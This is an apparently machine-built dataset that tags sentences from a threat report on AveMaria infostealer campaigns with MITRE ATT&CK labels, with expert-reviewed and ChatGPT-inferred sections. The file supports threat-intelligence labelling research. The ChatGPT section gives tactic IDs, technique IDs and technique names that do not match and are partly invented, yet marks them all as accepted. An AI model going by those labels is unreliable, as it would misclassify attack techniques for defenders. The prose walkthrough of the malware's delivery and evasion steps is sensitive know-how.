1 - AveMaria .vhd(x)_campaign First Case Study attack chain	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[]	1	[0]
3 - Behavioral analysis of the .vhdx file and shortcut file	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
4 - AveMaria .vhd_campaign Second Case Study attack chain	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	3	[0, 1, 2]
The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'AveMaria']]	1	[0]
Because the downloaded payload comes as a data file it can successfully evade detections by AV engines.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
6 - Shows the decryption logic to get the second stage payload in PE format.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
Manipulation of Bits Via Type Casting	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1197', 'technique': 'bits'}]	[]	1	[0]
It uses the same phishing email technique to distribute the main malicious binary.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'AUloader']]	1	[0]
This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]

AveMaria binary in memory and then execute the payload.				
The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'Autoit']]	1	[0]
Vbscript: performs sandbox and AV emulator checks and provides the Autoit script to the interpreter.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[0]
Autoit Interpreter: runs the script.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.003', 'technique': 'WindowsCommandShell'}]	[]	1	[0]
Autoit Script: contains highly obfuscated payload decryption and malware execution logic.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[['actor', 'Tag3']]	1	[0]
The vbscript file then calls out the malicious Autoit script with the interpreter.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The execution of Autoit script then leads to process injection of malware into a legitimate file.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
15 - Attackers evade detection by Windows defender by adding this drive exclusion powershell command	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information and establishes C2 communication for performing exfiltration of the stolen data.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	2	[0, 1]
In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
Extracting the vbscript from the attached zip file what looks like a	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[0]

pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf.				
18 - Extracted vbscript file appears to have a .pdf filetype extension with a mismatched script file icon	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	2	[0, 1]
The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]	[]	2	[0, 1]
The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[0]
The downloaded files were all base64 encoded, which after decoding turns out to be	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1132.001', 'technique': 'StandardEncoding'}]	[]	1	[0]
Once all the required files are in place, the same will be used to perform process injection as shown below.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
The screenshot below shows the file properties and strings present inside the malicious payload.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'AveMaria']]	2	[0, 1]
All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive, as shown below.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection.	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1547.001', 'technique': 'RegistryRunKeysStartupFolder'}]	[['malware', 'Avemaria']]	1	[0]
In the seventh case study attack chain, researchers observed that the "System Binary Proxy Execution" detection evasion technique is used for executing the end payload.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
A malicious HTA file consisting of a vbscript code under <script> tag,	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid':	[]	2	[0, 1]

is used to download the end payload.	'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]			
The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1218.005', 'technique': 'mshta'}]	[['malware', 'shortcut']]	1	[0]
Stage 2: HTA file generating third stage powershell code	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]	[]	3	[0, 1, 2]
28 - Obfuscated third stage powershell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Stage 3: Generated PowerShell code	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions:	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below)	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	1	[0]
Decoding function: contains the logic to decode encoded data (see red box in the screenshot below)	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below)	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[]	1	[0]
29 - Decrypted and beautified version of powershell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'AveMaria']]	2	[0, 1]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim's machine with the malware, it establishes communication with the attacker's Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1573.001', 'technique': 'SymmetricCryptography'}]	[['malware', 'AveMaria']]	1	[0]
The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'AveMaria']]	1	[0]
DECEMBER | .Vhd(x)_campaign	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim's machine.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
.Vhd(x) campaign Targeting Kazakhstan Officials	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
1 - AveMaria .vhd(x)_campaign First Case Study attack chain	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[]	1	[0]
3 - Behavioral analysis of the .vhdx file and shortcut file	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]

4 - AveMaria .vhd_campaign Second Case Study attack chain	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	3	[1, 2]
The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'AveMaria']]	1	[0]
Because the downloaded payload comes as a data file it can successfully evade detections by AV engines.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
6 - Shows the decryption logic to get the second stage payload in PE format.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
Manipulation of Bits Via Type Casting	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1197', 'technique': 'bits'}]	[]	1	[]
It uses the same phishing email technique to distribute the main malicious binary.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'AUloader']]	1	[0]
This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'Autoit']]	1	[0]
Vbscript: performs sandbox and AV emulator checks and provides the Autoit script to the interpreter.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[]
Autoit Interpreter: runs the script.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.003', 'technique': 'WindowsCommandShell'}]	[]	1	[]
Autoit Script: contains highly obfuscated payload decryption and malware execution logic.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[['actor', 'Tag3']]	1	[0]
The vbscript file then calls out the malicious Autoit script with the interpreter.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]

The execution of Autoit script then leads to process injection of malware into a legitimate file.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
15 - Attackers evade detection by Windows defender by adding this drive exclusion powershell command	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information and establishes C2 communication for performing exfiltration of the stolen data.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	2	[1]
In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[1]
Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[0]
18 - Extracted vbscript file appears to have a .pdf filetype extension with a mismatched script file icon	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	2	[0]
The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]	[]	2	[0, 1]
The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.005', 'technique': 'VisualBasic'}]	[]	1	[0]
The downloaded files were all base64 encoded, which after decoding turns out to be	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1132.001', 'technique': 'StandardEncoding'}]	[]	1	[]
Once all the required files are in place, the same will be used to	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]

perform process injection as shown below.				
The screenshot below shows the file properties and strings present inside the malicious payload.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'AveMaria']]	2	[1]
All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive, as shown below.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection.	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1547.001', 'technique': 'RegistryRunKeysStartupFolder'}]	[['malware', 'Avemaria']]	1	[0]
In the seventh case study attack chain, researchers observed that the "System Binary Proxy Execution" detection evasion technique is used for executing the end payload.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[]
A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	2	[0, 1]
The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	2	[0, 1]
Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1218.005', 'technique': 'mshta'}]	[['malware', 'shortcut']]	1	[0]
Stage 2: HTA file generating third stage powershell code	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0005', 'tactic':	[]	3	[0, 1, 2]

legitimate powershell binary for further execution.	'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]			
28 - Obfuscated third stage powershell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Stage 3: Generated PowerShell code	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions:	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below)	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	1	[0]
Decoding function: contains the logic to decode encoded data (see red box in the screenshot below)	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below)	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[]	1	[0]
29 - Decrypted and beautified version of powershell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'AveMaria']]	2	[0, 1]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
Zscaler's ThreatLabz research team diligently monitors and tracks active threat campaigns globally to rapidly detect new developments and proactively safeguard Zscaler customers.	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1567.002', 'technique': 'Steal Web Session Cookie(T1567.002)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1583', 'technique': 'Acquire Infrastructure(T1583)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1582', 'technique': 'Identify Infrastructure(T1582)'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1555.003', 'technique': 'Steal Web Credentials(T1555.003)'}]	4	[0, 1, 2, 3]
The seven case studies that follow provide an in-depth analysis of the AveMaria infostealer attack chain and how it has been shifting over the past six months.	[{'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1589', 'technique': 'Conduct Active Scanning(T1589)'},	4	[0, 1, 2, 3]

	{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1556.002', 'technique': 'Modify System Image to Persist via Boot loader(T1556.002)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1590', 'technique': 'Conduct Passive Scanning(T1590)'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1555.003', 'technique': 'Steal Web Credentials(T1555.003)'}]		
AveMaria is a Remote Access Trojan (RAT) infostealer malware that targets sensitive data with added capabilities of remote camera control and privilege escalation.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}]	1	[0]
Over the past six months, researchers have observed significant changes and additions to the execution stages and Tactics, Techniques, and Procedures that characterize an AveMaria attack.	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1185', 'technique': 'Execution through API(T1185)'}]	1	[0]
AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim's machine with the malware, it establishes communication with the attacker's Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0002', 'tactic': 'Command and Control ', 'tid': 'T1573.001', 'technique': 'Encrypted Channel(T1573.001)'}]	2	[0, 1]
The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027.002', 'technique': 'Type Casting(T1027.002)'}]	2	[0, 1]
Analysis of AveMaria 2022 Case Studies	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1059', 'technique': 'Tactic Development(T1059)'}]	1	[0]
This section details different variations of the AveMaria stealer attack chain analyzed across samples discovered between July and December of 2022.	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1587', 'technique': 'Identify Observed Host Indicators(T1587)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1022', 'technique': 'Commands(T1022)'}]	2	[0, 1]
